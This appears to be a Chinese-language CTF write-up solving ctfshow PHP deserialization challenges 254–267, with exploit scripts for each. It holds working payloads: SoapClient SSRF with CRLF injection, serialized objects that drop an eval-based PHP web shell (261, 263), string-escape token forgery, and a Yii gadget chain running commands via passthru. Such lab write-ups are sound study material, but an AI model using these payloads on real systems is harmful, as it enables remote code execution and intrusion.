254.
没有过滤,只需要按照他需要的参数,将其传上去,即可获得flag
255.
这个题,明显是通过一个cookie值的传入,让我们可以创建一个类,让其可以访问类中的函数,
这里需要知道一件事,序列化后的字符串包含了对象的所有属性值,但它并不包含对象的方法。因此,当你反序列化一个对象时,你需要确保在反序列化的环境中定义了相同的类,这样才能够调用对象的方法。
而%user变量后接了一个反序列化的函数,我们只需要写一个脚本,将创建类的将本序列化,传给cookie,同时注意到,源程序种没有将isVip更改的函数,所以序列化时这里也要注意,最后将其转码为url编码即可使用
256.
本题多了一个这个绕过
只需要传入的参数跟我对象中的值对的上,然后保证cookie中的不一样就可以了
257.
这道题我们可以了解到backdoor中是有一个eavl函数供我们使用的,所以我们就将构造函数中的实例化,改为backdoor类,再将code赋值为我们需要的代码即可,
258.
与上一题一致,但是多出来正则表达式,过滤的是o或c + : + 数字的模式
通过str_replace的方式替换
259.
这道题需要用到一个新的东西,就是php的原生类SoapClient,简单来讲,这个东西就是用于连接不同程序之间的类,由两个参数构成SoapClient($wsdl, $options)
相当于说$wsdl是人家的web中自己设置的,而这里我们没有这玩意儿,所以就用第二种,自己设置,
同时这玩意需要开启php 的soap服务需要自己去配置文件中修改,将注释符号去掉.
然后我们观察flag文件,其中调用了两次array_pop()函数,这个函数第一次将分割出来的ip地址最后一个删去,然后用一个赋值的方式,将它赋值给了$ip,所以我们需要在构造ip地址时存入多个127.0.0.1
构造一个函数:
构造了location,以及header和post传参的post_string
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Sentiment^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
将这串代码的输出值通过get传参给vip即可,接下来,我们需要按照它题的逻辑,访问一下flag.txt
但是我这里好像出现了一些问题出现了
260.
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这道题,是需要我们传入一个值,与他的正则表达式相匹配即可echo出flag
<?php
$a="ctfshow_i_love_36D";
echo urldecode(serialize($a));
?>
?ctfshow=s:18:"ctfshow_i_love_36D"
261.
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
首先,看见一个__wakeup方法,他让我们在反序列化对象时调用,保证必须传入的username与password不为空,但是,__sleep方法却让对象在序列化时被赋值为空,emmm,
搜索知道
__serialize():这个方法是在 PHP 7.2 及更高版本中引入的。它允许在对象上自定义序列化的过程。如果类中存在 __serialize() 方法,那么在任何序列化操作之前,该方法会被优先执行。它必须返回一个关联数组,表示对象的序列化形式。如果没有返回数组,将会抛出一个 TypeError 错误。如果类同时定义了 __serialize() 和 __sleep() 两个魔术方法,那么只有 __serialize() 方法会被调用,而 __sleep() 方法会被忽略。如果对象实现了 Serializable 接口,接口中的 serialize() 方法会被忽略,而代替它的是类中的 __serialize() 方法。
__unserialize():这个方法也是在 PHP 7.2 及更高版本中引入的。它允许在对象上自定义反序列化的过程。当使用 unserialize() 函数恢复对象时,会检查是否存在名为 __unserialize() 的魔术方法。如果存在,__unserialize() 方法会接收从 __serialize() 返回的恢复数组,并根据需要从该数组中恢复对象的属性。
也就是说上面的方法,我们不需要看__wakeup了,而__sleep方法,我们只需要在构造脚本时不带它即可,所以最后,我们只需要看最后一个方法,它表明了,我们会将username作为文件名,写入数据$password,所以这里我们需要绕过这个弱比较,0x36d是16进制的877,由于是弱比较,直接首位877就OK所以构造脚本
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
访问877.php
大概就是这样,在用蚁剑连一下就OK
262.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这个题的主题就是将编码后的值传给名为msg的cookie,在这里我们看不到与序列化相关的代码,但是上面有一个hint提示有一个message.php,我们可以访问一下看一下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
果然,这里有一个将msg解码后反序列化的过程,需要token==admin
又因为它有一步$umsg = str_replace('fuck', 'loveU', serialize($msg));只传入了f,m,t,这会导致我们的token值传不进去,所以需要在传入的参数中加上我们想要传入的token值,也就是一个构造序列化字符串的过程,而输入一个fuck,可以让原本的参数向后退一格,而如果字符足够的话,是可以将我们需要的代码顶出去,从一个普通字符串变为真正的序列化的字符串,而这串字符真正的代码也会向后顶,最后被排挤出去.
大概就是这样:
<?php
class message{
public $t=1;
public $m=1;
public $f='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='admin';
}
echo serialize(new message());
这样即可以正常的字符串污染,这里是因为只传入了t,m,f的值,所以没办法改token的值,
所以,我们只需要get传参3个值上去即可,
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
注意一定要顺序对,按照参数传入的顺序,逃逸的部分必须放在最后,否则会提前闭合导致报错(亲测!!!)
再次访问message.php
263.
本题是session反序列化,一般来讲session中有两种编码形式,
一种是php(默认):在这种方式下,会话数据被 PHP 的内置序列化函数 serialize()
编码后存储到文件或者其他持久化存储介质中。
另一种实际上也是一种serialize的方式,这种方式最后得到的结果与第一种情况有些许不一致,但是都是经过serialize后的结果,
本体就是它编码的方式是第二种,但是后面识别时却可以通过第一种编码的标识符"|"使之产生漏洞,
现在我们来看源代码,
首先先访问www.zip,获得源文件压缩包(其他师傅扫描的结果),
里面主要这几个结果
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
首先我们看这个index.php中的判断语句,第一个条件因为变量名写错了,所以永假,即始终会执行将cookie中的liimit变量base64解码等于SESSION['limit'],所以这次应该是从cookie中传入值了,
再看inc.php,这个文件中储存了关于session的编码方式,
在检查sql注入的情况下,还定义了一个user类
可以观察到最后有一个文件写入的函数,主要就是username,和password,在这儿写一句话🐎
因为这个文件中有session_start(),所以可以用session,同时对于这个程序来讲,这个文件的解释器即是"php"模式,但是index.php中应该是另一种编码方式,所以我们需要用到的序列化的字符串需要在
前面加"|"才行,这样就可以正确解释了,
再看check.php,这个主要就是一个检查用户名的过程,因为在一个session_start()的文件中会自动将我们需要的东西反序列化,于是思路就出来了
首先构建木马,文件名和一句话木马分别放入username和password(当然直接使用system函数也可以)
序列化后加上'|',base64编码,访问index.php传入cookie,(已经生成session)
再将limit改为1(经过base64编码)
带着cookie访问check.php(有session_start)
再访问文件,可以用蚁剑连接获取flag
<?php
class User{
public $username;
public $password;
public $status='a';
function __construct(){
$this->username = "1.php";
$this->password = '<?php eval($_POST[1])?>';}
}
$a=new User();
echo base64_encode('|'.serialize($a));
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtzOjE6ImEiO30=
发现session已经构造成功,
访问check.php后再访问log-1.php如果成功打开即成功,
剩下的去连蚁剑即可.
264.
本题与第262题有些相似,
同样是一个字符串逃逸,大体就是我的序列化的字符串还要经过base64编码传入session,然后在message.php上将其解码反序列化后,验证token==admin,
由于这里的参数都是通过get传参然后程序主动构造库的,所以直接传入参数就可以了
payload与上次一样
?f=1&&m=1&&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
还有一点需要注意的是,message.php文件中有一个检查是否有cookie['msg']的一个传入,我们需要手动去给他添加一个,我用火狐的hackbar发现cookie打死传不进去,所以还是直接去控制台,添加最有效果.(看cookie是否传入也可以在控制台去看,上一个题就是cookie打死传不进去,做了个多小时没搞出来.......)
265.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
这道题代码很简单,实际就是生成了一个随机数通过md5加密产生的唯一令牌,需要验证password与token值相等即可输出flag,
这里可以想到的是,我们可以通过php本身的性质,通过创建引用,将两个变量划分到同一片内存空间,这样无论token如何改变,都是相当于在同时操作两个变量了,
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t){
$this->token=$t;
$this->password = & $this->token;
}
}
echo serialize(new ctfshowAdmin(1))
?>
大概脚本就这麽写.
然后get传参过去就ok了
266.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
我看了这个题以后,第一反应就是得让对象销毁,搜索资料发现,报错处理会直接停止程序,也就是说__destruct()无法被执行,但是我们知道,当反序列化出问题时,如果类名可以匹配上,就可以执行它的析构函数,但是浏览器上我不知道咋传入没有参数的值,所以直接上burp,写进去,直接就出来了
267.
这个题是一个关于web开发的php框架的一个漏洞(具体不理解,了解以后来更新...)
这个题的解题方法就是
首先登录网站
用户名和密码都是admin
然后来到page页面,查看view-source,获得提示
然后通过网上公开的脚本
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
主要就是改checkAccess参数以及id参数,使之可以回显,
传参得到flag
r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=
说实话,这个题属实是没看懂,按照网上的攻略整的.....
后面的就不会了......